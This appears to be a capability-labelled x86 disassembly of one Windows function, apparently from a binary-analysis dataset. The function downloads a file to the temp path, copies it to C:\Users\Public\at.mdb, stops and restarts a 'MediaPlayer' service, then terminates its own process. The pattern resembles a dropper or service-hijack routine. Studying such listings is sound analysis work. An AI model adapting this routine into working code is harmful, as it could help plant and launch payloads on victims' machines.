Function at 0x10215440
Capabilities:
Copy file
Download url
Get common file path
Receive data
Start service
Stop service
Suspend thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x103b2a4b
mov eax, dword fs:[0]
push eax
sub esp, 0x374
push ebx
push esi
push edi
lea edi, [ebp - 0x200]
mov ecx, 0x7d
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x1042cac0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
push str.update_at_n
call fcn.1013e508
add esp, 4
mov esi, esp
mov eax, dword [0x10456790]
push eax
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp esi, esp
call fcn.1013ca23
cmp eax, 0xffffffff
jne 0x102154c6
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.1013ca23
push eax
push str.fail_to_suspend_thread__error:_d_n
call fcn.1013e508
add esp, 8
jmp 0x102154d3
push str.success_to__suspend_thread_n
call fcn.1013e508
add esp, 4
mov esi, esp
lea eax, [ebp - 0x118]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
cmp esi, esp
call fcn.1013ca23
lea eax, [ebp - 0x118]
push eax
lea ecx, [ebp - 0x13c]
call fcn.10138897
mov dword [ebp - 4], 0
push 0x103c69a8
lea eax, [ebp - 0x13c]
push eax
lea ecx, [ebp - 0x160]
push ecx
call fcn.10138563
add esp, 0xc
mov byte [ebp - 4], 1
push 0
push 0
lea ecx, [ebp - 0x160]
call fcn.1013e15c
push eax
mov eax, dword [ebp + 8]
push eax
push 0
call fcn.1013947c
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0
je 0x102155a7
mov eax, dword [ebp - 0x16c]
push eax
lea ecx, [ebp - 0x160]
call fcn.1013e15c
push eax
mov ecx, dword [ebp + 8]
push ecx
push str.fail_to_download_at.mdb_from___s_to__s_hr_x_n
call fcn.1013e508
add esp, 0x10
mov byte [ebp - 0x355], 0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x160]
call fcn.1013b844
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x13c]
call fcn.1013b844
mov al, byte [ebp - 0x355]
jmp 0x102157c0
mov esi, esp
push 0
push str.C:UsersPublic_at.mdb
lea ecx, [ebp - 0x160]
call fcn.1013e15c
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
cmp esi, esp
call fcn.1013ca23
test eax, eax
jne 0x10215635
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x178], eax
mov eax, dword [ebp - 0x178]
push eax
lea ecx, [ebp - 0x160]
call fcn.1013e15c
push eax
push str.fail_to_CopyFile__from__s_to_C:UsersPublic_at.mdb__error_x_n
call fcn.1013e508
add esp, 0xc
mov byte [ebp - 0x361], 0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x160]
call fcn.1013b844
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x13c]
call fcn.1013b844
mov al, byte [ebp - 0x361]
jmp 0x102157c0
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x190], 0
mov esi, esp
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x190], eax
mov esi, esp
push 0xf01ff
push str.MediaPlayer
mov eax, dword [ebp - 0x190]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0
jne 0x102156f2
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x19c], eax
mov eax, dword [ebp - 0x19c]
push eax
push str.fail_to_OpenServiceA__error_x_n
call fcn.1013e508
add esp, 8
mov byte [ebp - 0x36d], 0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x160]
call fcn.1013b844
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x13c]
call fcn.1013b844
mov al, byte [ebp - 0x36d]
jmp 0x102157c0
mov esi, esp
lea eax, [ebp - 0x1c0]
push eax
push 1
mov ecx, dword [ebp - 0x184]
push ecx
call dword [sym.imp.ADVAPI32.dll_ControlService]
cmp esi, esp
call fcn.1013ca23
mov esi, esp
push 0
push 0
mov eax, dword [ebp - 0x184]
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
cmp esi, esp
call fcn.1013ca23
test eax, eax
jne 0x1021575a
mov esi, esp
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, esp
call fcn.1013ca23
mov dword [ebp - 0x1cc], eax
mov eax, dword [ebp - 0x1cc]
push eax
push str.StartService_error_code:_d
call fcn.1013e508
add esp, 8
jmp 0x10215792
mov esi, esp
push 0
mov edi, esp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, esp
call fcn.1013ca23
mov edi, esp
push eax
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp edi, esp
call fcn.1013ca23
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
cmp esi, esp
call fcn.1013ca23
mov byte [ebp - 0x379], 0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x160]
call fcn.1013b844
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x13c]
call fcn.1013b844
mov al, byte [ebp - 0x379]
push edx
mov ecx, ebp
push eax
lea edx, [0x102157fc]
call fcn.1013bc63
pop eax
pop edx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1013a69c
add esp, 0x380
cmp ebp, esp
call fcn.1013ca23
mov esp, ebp
pop ebp
ret